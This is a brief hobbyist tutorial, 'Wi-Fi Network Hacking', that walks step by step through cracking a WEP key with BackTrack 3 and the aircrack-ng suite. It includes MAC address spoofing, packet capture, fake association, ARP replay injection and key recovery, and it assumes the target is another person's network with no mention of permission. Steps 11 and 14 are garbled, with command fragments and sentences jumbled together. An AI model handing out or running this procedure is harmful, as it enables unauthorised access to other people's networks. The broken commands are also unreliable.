Wi-Fi Network Hacking

This tutorial will explain that how to crack
wep key using Backtrack..!!

Step 1:-
First Download Backtrack from the
following link:

http://www.remote-exploit.org/
backtrack_download.html

Step 2:-
Burn the iso image on CD and boot your
laptop from CD drive

Step 3:-
Select the third boot option(VESA/KDE).

Step 4:-
Once in BT3, click the tiny black box in
the lower left corner to load up a
"Konsole" window.

Step 5:-
Type the following command
airmon-ng
Note down the interface name. In this
example wifi0

Step 6:-
airmon-ng stop wifi0

Step 7:-
ifconfig wifi0 down

Step 8:-
macchanger --mac 00:11:22:33:44:66
wifi0

Step 9:-
airmon-ng start wifi0

Step 10:-
airodump-ng wifi0
This will start populating Wifi networks.
Press Ctrl + C to stop.
Check the network with WEP encryption.
Notedown BSSID, CH and ESSID
somewhere in notepad or paper
Note that if the same BSSID is available
in the second part with STATION
associated with it,
means you some one is accessing that
network and our task will be little
easier.
If not than don’t worry we will still crack
it.

Step 11:-
airodump-ng -c (channel) -w (file name)
Replace
(channel) with the CH which u had
already n
(file name) with any name of your
choice
(bssid) with the BSSID which u had
already note
--bssid (bssid) wifi0
Note it
Leave this console as it is and start new
konsole

Step 12:-
aireplay-ng -1 0 -a (bssid) -h
00:11:22:33:44:66 wifi0
If you don’t get Association Successful
mesage then keep on trying until
you got success.


Step 13:-
aireplay-ng -3 -b (bssid) -h
00:11:22:33:44:66 wifi0
Well if you don’t see ARP ACK and sent
packets are not increasing or still 0
than it means no 1 is
accessing that network.But don’t worry
you go an optional step,
Leave this console as it is and start new
k

Step 14:-
aireplay-ng -2 –p 0841 –c
FF:FF:FF:FF:FF:FF
konsole
message than keep on trying until you
get success
got an optional step
konsole
–b (bssid) –h 00:11:22:33:44:66 wfi0
Press y and enter
Now you will see that ARP and ACK
packets in 2nd console are increasing
fast
Keep this console as it is and start 4th
console.

Step 15:-
aircrack-ng -b (bssid) (filename)-
Just wait and watch…..Backtrack will do
rest of the work.

Hurray we got the key.
Done..!!